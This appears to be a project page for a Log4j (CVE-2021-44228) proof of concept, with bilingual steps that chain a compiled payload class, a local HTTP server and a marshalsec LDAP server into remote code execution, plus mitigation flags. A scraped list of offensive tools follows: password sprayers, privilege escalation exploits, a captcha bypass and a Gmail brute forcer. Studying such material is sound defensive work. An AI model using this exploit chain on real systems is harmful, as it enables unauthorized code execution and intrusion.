Log4j minecraft with python

Overview

Apache-Log4j

Apache Log4j 远程代码执行

攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置,经阿里云安全团队验证,Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响

Steps

  1. 【Important】Move Log4jRCE.java to /home/remote/Log4jRCE.java, or any other directories except apache-log4j-poc.

  2. Compile Log4jRCE.java and start http server

    1. cd /home/remote
    2. javac Log4jRCE.java
    3. start http server,python or php,php -S 127.0.0.1:8888
  3. Start ldap server

    1. git clone [email protected]:mbechler/marshalsec.git
    2. cd marshalsec
    3. mvn clean package -DskipTests
    4. start ldap server java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Log4jRCE"
  4. Start log4j.java, then you can see I am Log4jRCE from remote!!!

触发步骤

  1. 【重要】将Log4jRCE.java 挪出 当前项目目录,比如挪到/home/remote/Log4jRCE.java,不然log4j.java运行时会读取到本地的Log4jRCE.java,就不走http远程下载了!

  2. 编译Log4jRCE.java并启动http server

    1. 进入目录 cd /home/remote
    2. 编译 javac Log4jRCE.java
    3. 启动http server,python或php均可快速启动,如php -S 127.0.0.1:8888
  3. 启动ldap server

    1. git clone [email protected]:mbechler/marshalsec.git
    2. cd marshalsec
    3. mvn clean package -DskipTests
    4. 启动ldap server java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Log4jRCE"
  4. 启动log4j.java,然后就会发现命令行出现了I am Log4jRCE from remote!!!。底层就是会远程下载Log4jRCE.class,然后执行newInstance(),所以会执行static、构造函数代码。

修复方案:

(1)修改jvm参数 -Dlog4j2.formatMsgNoLookups=true

(2)修改配置 在应用classpath下添加log4j2.component.properties配置文件,log4j2.formatMsgNoLookups=true

Owner
manmade
manmade
A DOM-based G-Suite password sprayer and user enumerator

A DOM-based G-Suite password sprayer and user enumerator

Mayk 1 Apr 07, 2022
Privilege escalation with polkit - CVE-2021-3560

Polkit-exploit - CVE-2021-3560 Privilege escalation with polkit - CVE-2021-3560 Summary CVE-2021-3560 is an authentication bypass on polkit, which all

Ahmad Almorabea 95 Dec 27, 2022
Bypass's HCaptcha by overloading their api causing it to throwback a generated uuid. (Released due to exposure)

HCaptcha-Bypass Bypass's HCaptcha by overloading their api causing it to throwback a generated uuid. Not working? If it is not seeming to work for you

Dropout 17 Aug 23, 2021
Python implementation for CVE-2021-42278 (Active Directory Privilege Escalation)

Pachine Python implementation for CVE-2021-42278 (Active Directory Privilege Escalation). Installtion $ pip3 install impacket Usage Impacket v0.9.23 -

Oliver Lyak 250 Dec 31, 2022
adb - A tool that allows you to search for vulnerable android devices across the world and exploit them.

adb - An exploitation tool for android devices. A tool that allows you to search for vulnerable android devices across the world and exploit them. Fea

136 Jan 02, 2023
An All-In-One Pure Python PoC for CVE-2021-44228

Python Log4RCE An all-in-one pure Python3 PoC for CVE-2021-44228. Configure Replace the global variables at the top of the script to your configuratio

Alexandre Lavoie 178 Nov 09, 2022
Repository for a project of the course EP2520 Building Networked Systems Security

EP2520_ACME_Project Repository for a project of the course EP2520 Building Networked Systems Security in Royal Institute of Technology (KTH), Stockhol

1 Dec 11, 2021
Exploiting CVE-2021-42278 and CVE-2021-42287 to impersonate DA from standard domain user

About Exploiting CVE-2021-42278 and CVE-2021-42287 to impersonate DA from standard domain user Changed from sam-the-admin. Usage SAM THE ADMIN CVE-202

Evi1cg 500 Jan 06, 2023
an impacket-dependent script exploiting CVE-2019-1040

dcpwn an impacket-dependent script exploiting CVE-2019-1040, with code partly borrowed from those security researchers that I'd like to say thanks to.

QAX A-Team 71 Nov 30, 2022
LittleBrother is a simple parental control application monitoring specific processes on Linux hosts to monitor and limit the play time of children.

Parental Control Application LittleBrother Overview LittleBrother is a simple parental control application monitoring specific processes (read "games"

40 Dec 21, 2022
proof-of-concept running docker container from omero web

docker-from-omero-poc proof-of-concept running docker container from omero web How-to Edit test_script.py so that the BaseClient is created pointing t

Erick Martins Ratamero 2 Jan 22, 2022
Nmap automated port scanner written in Python

port-scanner Nmap automated port scanner written in Python. USE: Clone the module Import the module: from portscanModule import portscanner Use: ports

Brayden Karnes 1 Dec 03, 2021
🎻 Modularized exploit generation framework

Modularized exploit generation framework for x86_64 binaries Overview This project is still at early stage of development, so you might want to come b

ᴀᴇꜱᴏᴘʜᴏʀ 30 Jan 17, 2022
Blinder is a tool that will help you simplify the exploitation of blind SQL injection

Blinder Have you found a blind SQL injection? Great! Now you need to export it, but are you too lazy to sort through the values? Most likely,

10 Dec 06, 2022
An automated, reliable scanner for the Log4Shell (CVE-2021-44228) vulnerability.

Log4JHunt An automated, reliable scanner for the Log4Shell CVE-2021-44228 vulnerability. Video demo: Usage Here the help usage: $ python3 log4jhunt.py

RedHunt Labs 39 Nov 21, 2022
Separate handling of protected media in Django, with X-Sendfile support

Django Protected Media Django Protected Media is a Django app that manages media that are considered sensitive in a protected fashion. Not only does t

Cobus Carstens 46 Nov 12, 2022
python script for hack gmail account using brute force attack

#Creator: johnry #coded by john ry GBrute python script for hack gmail account using brute force attack Commands apt update && apt upgrade git clone h

6 Dec 09, 2022
Genpyteal - Experiment to rewrite Python into PyTeal using RedBaron

genpyteal Converts Python to PyTeal. Your mileage will vary depending on how muc

Jason Livesay 9 Oct 19, 2022
Log4j-Scanner with Bind-Receipt and custom hostnames

Hrafna - Log4j-Scanner for the masses Features Scanning-system designed to check your own infra for vulnerable log4j-installations start and stop scan

18 Jan 23, 2022
Tool to check if your DNS comply to Polish Ministry of Finance gambling domains restrictions

dns-mf-hazard Tool to check if your DNS comply to Polish Ministry of Finance gambling domains restrictions How to use it? Installation You need python

Marek Wajdzik 2 Jan 01, 2022